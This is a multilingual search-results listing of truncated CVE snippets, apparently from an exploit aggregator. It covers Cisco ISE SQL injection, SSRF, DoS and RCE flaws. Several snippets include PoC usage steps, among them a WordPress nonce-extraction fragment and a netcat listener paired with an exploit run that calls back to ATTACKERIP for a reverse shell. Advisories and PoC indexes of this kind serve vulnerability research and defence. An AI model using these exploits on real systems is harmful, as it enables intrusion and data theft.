4085 matches found
The vulnerability of the Directum HR Pro system, which exists due to insufficient verification of input data, allows a perpetrator to disclose protected information.
The vulnerability of the Directum HR Pro system exists due to insufficient verification of input data. Exploiting this vulnerability can allow a malicious actor to disclose protected information by sending a specially crafted POST request...
CVE-2023-27163
CVE-2023-27163 Request-Baskets v1.2.1 - サーバーサイドリクエストフォージェリ SSRF request-baskets v1.2.1 以前には、コンポーネント /api/baskets/name を介したサーバーサイドリクエストフォージェリ SSRF が存在することが判明しました。この脆弱性により、攻撃者は細工されたAPIリクエストを介してネットワークリソースや機密情報にアクセスできるようになります。 インストール root@kitploit: git clone https://github.com/0xFTW/CVE-2023-27163 cd...
CVE-2025-31651-o
CVE-2025-31651 ごく一部の可能性の低い書き換えルール構成において、特別に細工されたリクエストが一部の書き換えルールをバイパスすることが可能でした。これらの書き換えルールがセキュリティ制約を効果的に強制していた場合、その制約がバイパスされる可能性がありました。 0x01 ステータス 公開 0x02 概念実証 Finder 詳細は CVE-2025-31651.md を参照...
CVE-2022-48474_CVE-2022-48475
CVE-2022-48474 & CVE-2022-48475 CVE-2022-48474 および CVE-2022-48475 の PoC とエクスプロイト 「Control de Ciber」はサイバーカフェ管理ソフトウェアです。バージョン1.650より前のバージョンには、複数のサービス拒否（DoS）脆弱性が存在します。認証されていないリモート攻撃者が巧妙に細工したリクエストを送信することで、サービスをクラッシュさせる可能性があります。 CVE-2022-48474 バージョンDoS バージョンエクスプロイト CVE-2022-48475 Print bof プリントエクスプロイト...
CVE-2023-3519
CVE-2023-3519 このNucleiテンプレートは、ターゲットWebサーバーにCVE-2023-3519の脆弱性が存在するかどうかをチェックします。 脆弱性 CVE-2023-3519は、Citrix Application Delivery Controller ADCおよびGatewayアプライアンスにおいて、認証なしでリモートコード実行を可能にする脆弱性です。攻撃者は、影響を受けるシステムに特別に細工されたリクエストを送信することで、この脆弱性を悪用できます。...
CVE-2023-26984
CVE-2023-26984 脆弱性の説明: Peppermint v0.2.4のパスワードリセット機能に問題があり、攻撃者が細工したリクエストを介してTicketsページのメールとパスワードにアクセスできるようになります。 攻撃ベクトル: 攻撃者はユーザーロールでログインし、パスワードをリセットする必要があります。次にトラフィックを傍受し、IDを管理者ロールまたは別のユーザーに変更します。（攻撃者はチケットを作成するとTicketsページのメールとパスワードを確認できます。）その後、攻撃者は管理者アカウントで新しいパスワードを使ってログインできます。 影響を受けるエンドポイント:...
CVE-2025-11627
抽出されたnonceを使用して、AJAXハンドラに細工したリクエストを送信します。 root@kitploit: = // 1 find the inline script that contains the AJAX URL const s = ...document.scripts.findsc = sc.textContent.includes'billminozzijserrorcatched'; if !s console.error'Script with ajax URL not found. Is wphead present?'; return; // 2 extrac...
CVE-2017-7529
CVE-2017-7529 Nginx バージョン 0.5.6 以降、1.13.2 までのバージョンは、nginx レンジフィルターモジュールの整数オーバーフローの脆弱性の影響を受けます。これにより、特別に細工されたリクエストで潜在的に機密性の高い情報が漏洩する可能性があります。 インストール $ git clone https://github.com/Shehzadcyber/CVE-2017-7529.git $ cd CVE-2017-7529 使用方法 $ python3 CVE-2017-7529.py URL $ python3 CVE-2017-7529.py...
CVE-2022-4896
CVE-2022-4896 CVE-2022-4896 の PoC & エクスプロイト "Control de Ciber" はサイバーカフェ管理ソフトウェアです。1.650 より前のバージョンには、複数のサービス拒否 DoS の脆弱性があります。認証されていないリモート攻撃者は、巧妙に細工されたリクエストを送信することで、サービスをクラッシュさせることができます。 Spooler DoS Spooler エクスプロイト PNTMedidas DoS PNTMedidas エクスプロイト Pedir DoS Pedir エクスプロイト HayDiscoA DoS HayDiscoA...
CVE-2021-21402
CVE-2021-21402 Jellyfin 任意ファイル読み取り 脆弱性の概要 Jellyfinは、メディアとストリーミングを制御・管理するためのフリーのソフトウェアメディアシステムです。これはEmbyやPlexの代替品であり、専用サーバーから複数のアプリケーションを介してエンドユーザーデバイスへメディアを提供します。JellyfinはEmby 3.5.2の.NET Coreフレームワークをベースとしており、完全なクロスプラットフォーム対応を実現しています。 Jellyfin...
CVE-2026-76447
A vulnerability in the Online Certificate Status Protocol OCSP responder of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to cause an administrative reload of the OCSP responder certificate and key material. This vulnerability is due to missing authentication on a...
CVE-2026-20247
A vulnerability in Cisco ISE could allow an unauthenticated, remote attacker to conduct SQL injection attacks on an affected device. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted request to an affected...
CVE-2026-76447 Cisco Identity Services Engine Certificate Reload Vulnerability
A vulnerability in the Online Certificate Status Protocol OCSP responder of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to cause an administrative reload of the OCSP responder certificate and key material. This vulnerability is due to missing authentication on a...
EUVD-2026-81157
A vulnerability in Cisco ISE could allow an authenticated, remote attacker to conduct SQL injection attacks on an affected device. To exploit this vulnerability, the attacker must have at least low-privileged administrative credentials. This vulnerability is due to improper validation of...
CVE-2026-20300
Cisco Identity Services Engine (ISE) is affected by an SQL injection vulnerability caused by improper validation of user-supplied input . An authenticated, remote attacker with at least low-privileged administrative credentials can send a crafted request to read or modify data in the underlying d...
CVE-2026-20247 Cisco Identity Services Engine Unauthenticated SQL Injection Vulnerability
A vulnerability in Cisco ISE could allow an unauthenticated, remote attacker to conduct SQL injection attacks on an affected device. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted request to an affected...
CVE-2026-20247
CVE-2026-20247 affects Cisco Identity Services Engine (ISE) and allows an unauthenticated, remote attacker to perform SQL injection by sending a crafted request. The root cause is improper validation of user-supplied input . A successful exploit enables the attacker to modify data in the underlyi...
EUVD-2026-81122
A vulnerability in an API of Cisco Identity Services Engine ISE could allow an unauthenticated, remote attacker to bypass authentication. This vulnerability is due to insufficient authentication control on an API endpoint. An attacker could exploit this vulnerability by sending a crafted request ...
CVE-2026-23520
CVE-2026-23520 MCP API 远程命令执行（RCE）PoC 📌 概述 本仓库包含一个针对远程命令执行（RCE）漏洞的概念验证（PoC）利用程序，该漏洞影响暴露易受攻击的 MCP API 端点（通常为 /api/mcp/connect）的应用程序。 该漏洞允许通过精心构造的 API 请求执行系统级命令。 🚀 快速开始 1. 启动监听器 root@kitploit: nc -lvnp ATTACKERPORT 2. 运行利用程序 root@kitploit: python3 exploit.py TARGET --lhost ATTACKERIP --lport...